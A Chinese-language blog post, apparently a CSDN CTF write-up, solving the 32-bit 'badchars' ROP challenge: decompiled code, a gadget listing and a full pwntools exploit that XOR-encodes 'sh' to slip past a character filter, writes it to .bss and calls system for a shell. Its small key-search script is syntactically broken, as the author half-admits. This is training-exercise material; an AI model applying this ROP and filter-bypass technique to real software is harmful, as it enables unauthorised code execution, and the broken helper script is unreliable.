pwn暑假训练(五) 哇哇好久没打了

发现自己太菜所以自闭了几天~~
做了个32pwn(badchars)记录一下
这道题IDA打开我们就会发现

void pwnme()
{
  char *v0; // ST1C_4
  size_t n; // ST18_4
  void *s; // [esp+Ch] [ebp-2Ch]
  int v3; // [esp+10h] [ebp-28h]

  s = malloc(0x200u);
  if ( !s )
    exit(1);
  memset(s, 0, 0x200u);
  memset(&v3, 0, 0x20u);
  puts("badchars are: b i c / <space> f n s");
  printf("> ");
  v0 = fgets((char *)s, 512, stdin);
  n = nstrlen(v0, 512);
  checkBadchars(v0, n);
  memcpy(&v3, v0, n);
  free(v0);
}

这个有个后门是

int usefulFunction()
{
  return system("/bin/ls");
}

不是/sh…我们就要想办法输入/sh但好像这里检查了字符的输入

unsigned int __cdecl checkBadchars(int a1, unsigned int a2)
{
  unsigned int result; // eax
  char v3; // [esp+0h] [ebp-10h]
  char v4; // [esp+1h] [ebp-Fh]
  char v5; // [esp+2h] [ebp-Eh]
  char v6; // [esp+3h] [ebp-Dh]
  char v7; // [esp+4h] [ebp-Ch]
  char v8; // [esp+5h] [ebp-Bh]
  char v9; // [esp+6h] [ebp-Ah]
  char v10; // [esp+7h] [ebp-9h]
  unsigned int j; // [esp+8h] [ebp-8h]
  unsigned int i; // [esp+Ch] [ebp-4h]

  v3 = 98;
  v4 = 105;
  v5 = 99;
  v6 = 47;
  v7 = 32;
  v8 = 102;
  v9 = 110;
  v10 = 115;
  j = 0;
  for ( i = 0; ; ++i )
  {
    result = i;
    if ( i >= a2 )
      break;
    for ( j = 0; j <= 7; ++j )
    {
      if ( *(_BYTE *)(a1 + i) == *(&v3 + j) )
      {
        *(_BYTE *)(a1 + i) = -21;
        break;
      }
    }
  }
  return result;
}

所以我们就只有编码或加密直接异或要快
上异或的脚本

a=[98,105,99,47,32,102,110,115]
bin_sh="/bin/sh\x00"
xor_value=1


while true:
	for  x in bin_sh:
		y=ord(x)^xor_value
			if y in a:
				xor_value+=1
				break
		if x=='/x00':
			print xor_value
			break
	if xor_value==10:
	break

我自己写的可能会写错…我直接用大佬给的0xff
然后就是找可以ROP的地方了我们发现有个l函数可以让我们将字符xor解密

.text:08048890                 public usefulGadgets
.text:08048890 usefulGadgets:
.text:08048890                 xor     [ebx], cl
.text:08048892                 retn
.text:08048893 ; ---------------------------------------------------------------------------
.text:08048893                 mov     [edi], esi
.text:08048895                 retn
.text:08048896 ; ---------------------------------------------------------------------------
.text:08048896                 pop     ebx
.text:08048897                 pop     ecx
.text:08048898                 retn
.text:08048899 ; ---------------------------------------------------------------------------
.text:08048899                 pop     esi
.text:0804889A                 pop     edi
.text:0804889B                 retn
.text:0804889B ; ---------------------------------------------------------------------------

这里我们就可以构造ROP了先用pop esi,pop edi 然后用mov将加密其写入到bss段然后在用xor解密直接上exp:

from pwn import *
p=process('../badchars32')
elf=ELF('../badchars32')
system_addr = elf.plt['system']
bss_addr=elf.bss()
binstr='sh\x00\x00'
xor_value=0xff
xorsh=''
pop_edi_esi=0x08048899
mov_edi_esi=0x08048893
pop_edx_ecx=0x08048896
xor_edx_ecx=0x08048890

for i in range(4):
    xorsh+=chr(ord(binstr[i])^xor_value)

payload='a'*(0x28+0x4)
payload+=p32(pop_edi_esi)
payload+=xorsh
payload+=p32(bss_addr)
payload+=p32(mov_edi_esi)

for i in range(4):
    payload+=p32(pop_edx_ecx)
    payload+=p32(bss_addr+i)
    payload+=p32(xor_value)
    payload+=p32(xor_edx_ecx)

payload+=p32(system_addr)
payload+='aaaa'
payload+=p32(bss_addr)
p.recvuntil('> ')
p.sendline(payload)
p.interactive()

pwn好难

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 8
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 8
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值